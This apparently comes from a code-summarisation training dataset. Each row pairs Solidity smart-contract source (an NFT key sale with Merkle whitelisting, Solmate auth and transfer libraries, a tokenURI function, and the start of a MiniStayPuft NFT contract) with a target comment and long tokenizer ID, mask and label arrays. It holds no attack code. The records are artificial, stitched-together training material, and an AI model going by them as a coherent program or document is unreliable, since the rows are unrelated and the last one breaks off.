/// >>>>>>>>>>>>>>>>>>>>> RESTRICTED <<<<<<<<<<<<<<<<<<<<<< ///
/// @notice Mints keys to an address
/// @param to address of recipient
/// @param id id of the key
/// @param amount amount to mint
function preorder(address to, uint256 id, uint256 amount) public requiresAuth {
_keyRing.make(to, id, amount);
}
/// @notice Set at once all the data necessary for a key drop
/// @param id id of the token
/// @param availability the number of keys available
/// @param roots The list of roots to be used
function setKeyMold(
uint256 id,
uint256 availability,
bytes32[] calldata roots
) requiresAuth public {
for(uint256 i = 0; i < roots.length; i++) {
_validRoots[id][roots[i]] = true;
}
available[id] = availability;
}
/// @notice Change a serie of roots for a particular id
/// @dev if validate is set to false, it will invalidate them
/// @param id id of the token
/// @param roots The list of roots to be changed
/// @param validate Whether to validate the roots or invalidate them
function changeRoots(
uint256 id,
bytes32[] calldata roots,
bool validate
) requiresAuth public {
for(uint256 i = 0; i < roots.length; i++) {
_validRoots[id][roots[i]] = validate;
}
}
/// @notice Change a single root for a particular id
/// @dev if validate is set to false, it will invalidate it
/// @param id id of the token
/// @param root The root to be changed
/// @param validate Whether to validate the root or invalidate it
function changeSingleRoot(
uint256 id,
bytes32 root,
bool validate
) requiresAuth public {
_validRoots[id][root] = validate;
}
/// @notice Set the amount of tokens available to be minted
/// @param id id of the token
/// @param amount The amount of tokens to be minted
function setAvailability(uint256 id, uint256 amount) requiresAuth public {
available[id] = amount;
}
/// @notice Withdraws the ETH held by the contract
/// @param recipient recipient of the funds
function withdraw(address recipient) requiresAuth public {
SafeTransferLib.safeTransferETH(recipient, address(this).balance);
}
/// >>>>>>>>>>>>>>>>>>>>> EXTERNAL <<<<<<<<<<<<<<<<<<<<<< ///
/// @notice Buys a key
/// @param id The id of the key to buy
/// @param amount The id of the key to buy
/// @param index index of the user in the merkle tree
/// @param price price of the key
/// @param start starting time associated with the merkle tree
/// @param limited if the sale is limited to 1 item per address per root
/// @param root merkle root
/// @param proof The merkle proof
function order(
uint256 id,
uint256 amount,
uint256 index,
uint256 price,
uint256 start,
bool limited,
bytes32 root,
bytes32[] calldata proof
) nonReentrant public payable {
require(available[id] != 0, "MINTED_OUT");
require(block.timestamp >= start, "TOO_EARLY");
require((amount == 1 && limited) || !limited, "OVER_LIMIT");
require(msg.value == price * amount, "WRONG_PRICE");
if (limited) {
// lose efficiency if public && limited
uint256 idx = proof.length != 0 ? index : a2u(msg.sender);
require(!_hasClaimed[id][root].get(idx), "ALREADY_CLAIMED");
_hasClaimed[id][root].set(idx);
}
require(_validRoots[id][root], "INVALID_ROOT");
// Assume if there is a proof, then it's not a public sale
address user = proof.length != 0 ? msg.sender : address(0);
bytes32 node = keccak256(abi.encodePacked(user, id, b2u(limited), index, price, start));
require(MerkleProof.verify(proof, root, node), "INVALID_PROOF");
available[id] -= amount;
_keyRing.make(msg.sender, id, amount);
emit Ordered(id, msg.sender, amount);
}
/// >>>>>>>>>>>>>>>>>>>>> VIEW/PURE <<<<<<<<<<<<<<<<<<<<<< ///
/// @notice gets claim status of [id, root, index]
/// @param id id of the drop/token
/// @param root merkle root
/// @param index index of the user in the merkle tree
/// @param user address of the user
/// @return bool if the user has claimed
function hasClaimed(uint256 id, bytes32 root, uint256 index, address user) public view returns (bool) {
return _hasClaimed[id][root].get(index) || _hasClaimed[id][root].get(a2u(user));
}
/// @notice converts a bool to uint256
/// @param x bool to be converted
/// @return r uint256 representation of the bool
function b2u(bool x) pure internal returns (uint r) {
assembly { r := x }
}
/// @notice converts an address to uint256
/// @param addy address to be converted
/// @return r uint256 representation of the address
function a2u(address addy) pure internal returns (uint r) {
assembly {r := addy}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IQuantumKeyRing {
function make(address to, uint256 id, uint256 amount) external;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Gas optimized reentrancy protection for smart contracts.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
uint256 private reentrancyStatus = 1;
modifier nonReentrant() {
require(reentrancyStatus == 1, "REENTRANCY");
reentrancyStatus = 2;
_;
reentrancyStatus = 1;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed input.
success := 0
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential.
* Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor].
*/
library BitMaps {
struct BitMap {
mapping(uint256 => uint256) _data;
}
/**
* @dev Returns whether the bit at `index` is set.
*/
function get(BitMap storage bitmap, uint256 index) internal view returns (bool) {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
return bitmap._data[bucket] & mask != 0;
}
/**
* @dev Sets the bit at `index` to the boolean `value`.
*/
function setTo(
BitMap storage bitmap,
uint256 index,
bool value
) internal {
if (value) {
set(bitmap, index);
} else {
unset(bitmap, index);
}
}
/**
* @dev Sets the bit at `index`.
*/
function set(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] |= mask;
}
/**
* @dev Unsets the bit at `index`.
*/
function unset(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] &= ~mask;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
} | Assume if there is a proof, then it's not a public sale | address user = proof.length != 0 ? msg.sender : address(0);
| 13,844,711 | [
1,
2610,
2066,
309,
1915,
353,
279,
14601,
16,
1508,
518,
1807,
486,
279,
1071,
272,
5349,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
1758,
729,
273,
14601,
18,
2469,
480,
374,
692,
1234,
18,
15330,
294,
1758,
12,
20,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x640216Ea5b2aC018b1d1FDB3F0a206F652C92574/sources/contracts/CommunityRegistry/CommunityRegistry.sol | * @dev Gets the URI for the given token ID. @param tokenId_ The token ID to get the URI for. @return The URI of the token./ | function tokenURI(
uint256 tokenId_
)
public
view
virtual
override(ERC721A, ICommunityRegistry)
onlyTokenExists(tokenId_)
returns (string memory)
{
return ICommunityTokenURI(_config.tokenURI).getTokenURI(tokenId_);
}
| 9,808,381 | [
1,
3002,
326,
3699,
364,
326,
864,
1147,
1599,
18,
225,
1147,
548,
67,
1021,
1147,
1599,
358,
336,
326,
3699,
364,
18,
327,
1021,
3699,
434,
326,
1147,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1147,
3098,
12,
203,
3639,
2254,
5034,
1147,
548,
67,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
5024,
203,
3639,
3849,
12,
654,
39,
27,
5340,
37,
16,
467,
12136,
13352,
4243,
13,
203,
3639,
1338,
1345,
4002,
12,
2316,
548,
67,
13,
203,
3639,
1135,
261,
1080,
3778,
13,
203,
565,
288,
203,
3639,
327,
467,
12136,
13352,
1345,
3098,
24899,
1425,
18,
2316,
3098,
2934,
588,
1345,
3098,
12,
2316,
548,
67,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./interfaces/IERC721.sol";
import "./interfaces/IERC721Enumerable.sol";
import "./interfaces/IERC721Metadata.sol";
import "./interfaces/IERC721Receiver.sol";
import "./interfaces/IERC165.sol";
import "./IGBATrapsPartial.sol";
import "./Ownable.sol";
import "./GBAWhitelist.sol";
/// @author Andrew Parker
/// @title Ghost Busters: Afterlife Mini Stay Puft NFT contract
contract MiniStayPuft is IERC721, IERC721Metadata, IERC165, Ownable{
enum Phase{Init,PreReserve,Reserve,Final} // Launch phase
struct Reservation{
uint24 block; // Using uint24 to store block number is fine for the next 2.2 years
uint16[] tokens; // TokenIDs reserved by person
}
bool paused = true; // Sale pause state
bool unpausable; // Unpausable
uint startTime; // Timestamp of when preReserve phase started (adjusts when paused/unpaused)
uint pauseTime; // Timestamp of pause
uint16 tokenCount; // Total tokens minted and reserved. (not including caught mobs)
uint16 tokensGiven; // Total number of giveaway token's minted
uint16 constant TOKENS_GIVEAWAY = 200; // Max number of giveaway tokens
uint constant PRICE_MINT = 0.08 ether; // Mint cost
string __uriBase; // Metadata URI base
string __uriSuffix; // Metadata URI suffix
uint constant COOLDOWN = 10; // Min interval in blocks to reserve
uint16 constant TRANSACTION_LIMIT = 10; // Max tokens reservable in one transaction
mapping(address => Reservation) reservations; // Mapping of buyer to reservations
mapping(address => uint8) whitelistReserveCount; // Mapping of how many times listees have preReserved
uint8 constant WHITELIST_RESERVE_LIMIT = 2; // Limit of how many tokens a listee can preReserve
uint constant PRESALE_LIMIT = 2000; // Max number of tokens that can be preReserved
uint presaleCount; // Number of tokens that have been preReserved
event Pause(bool _pause,uint _startTime,uint _pauseTime);
event Reserve(address indexed reservist, uint indexed tokenId);
event Claim(address indexed reservist, uint indexed tokenId);
//MOB VARS
address trapContract; // Address of Traps contract
address whitelist; // Address of Whitelist contract
uint16 constant SALE_MAX = 10000; // Max number of tokens that can be sold
uint16[4] mobTokenIds; // Partial IDs of current mobs. 4th slot is highest id (used to detect mob end)
uint16 constant TOTAL_MOB_COUNT = 500; // Total number of mobs that will exist
uint constant MOB_OFFSET = 100000; // TokenId offset for mobs
bool mobReleased = false; // Has mob been released
bytes32 mobHash; // Current mob data
mapping(address => uint256) internal balances; // Mapping of balances (not including active mobs)
mapping (uint256 => address) internal allowance; // Mapping of allowances
mapping (address => mapping (address => bool)) internal authorised; // Mapping of token allowances
mapping(uint256 => address) owners; // Mapping of owners (not including active mobs)
uint[] tokens; // Array of tokenIds (not including active mobs)
mapping (bytes4 => bool) internal supportedInterfaces;
constructor(string memory _uriBase, string memory _uriSuffix, address _trapContract, address _whitelist){
supportedInterfaces[0x80ac58cd] = true; //ERC721
supportedInterfaces[0x5b5e139f] = true; //ERC721Metadata
supportedInterfaces[0x01ffc9a7] = true; //ERC165
mobTokenIds[0] = 1;
mobTokenIds[1] = 2;
mobTokenIds[2] = 3;
mobTokenIds[3] = 3;
trapContract = _trapContract;
whitelist = _whitelist;
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
//Init mobHash segments
mobHash =
shiftBytes(bytes32(uint(0)),0) ^ // Random data that changes every tx to even out gas costs
shiftBytes(bytes32(uint(1)),1) ^ // Number of owners to base ownership calcs on for mob 0
shiftBytes(bytes32(uint(1)),2) ^ // Number of owners to base ownership calcs on for mob 1
shiftBytes(bytes32(uint(1)),3) ^ // Number of owners to base ownership calcs on for mob 2
shiftBytes(bytes32(uint(0)),4); // Location data for calculating ownership of all mobs
}
/// Mint-Reserve State
/// @notice Get struct properties of reservation mapping for given address, as well as preReserve count.
/// @dev Combined these to lower compiled contract size (Spurious Dragon).
/// @param _tokenOwner Address of reservation data to check
/// @return _whitelistReserveCount Number of times address has pre-reserved
/// @return blockNumber Block number of last reservation
/// @return tokenIds Array of reserved, unclaimed tokens
function mintReserveState(address _tokenOwner) public view returns(uint8 _whitelistReserveCount, uint24 blockNumber, uint16[] memory tokenIds){
return (whitelistReserveCount[_tokenOwner],reservations[_tokenOwner].block,reservations[_tokenOwner].tokens);
}
/// Contract State
/// @notice View function for various contract state properties
/// @dev Combined these to lower compiled contract size (Spurious Dragon).
/// @return _tokenCount Number of tokens reserved or minted (not including mobs)
/// @return _phase Current launch phase
/// @return mobMax Uint used to calculate IDs and number if mobs in circulation.
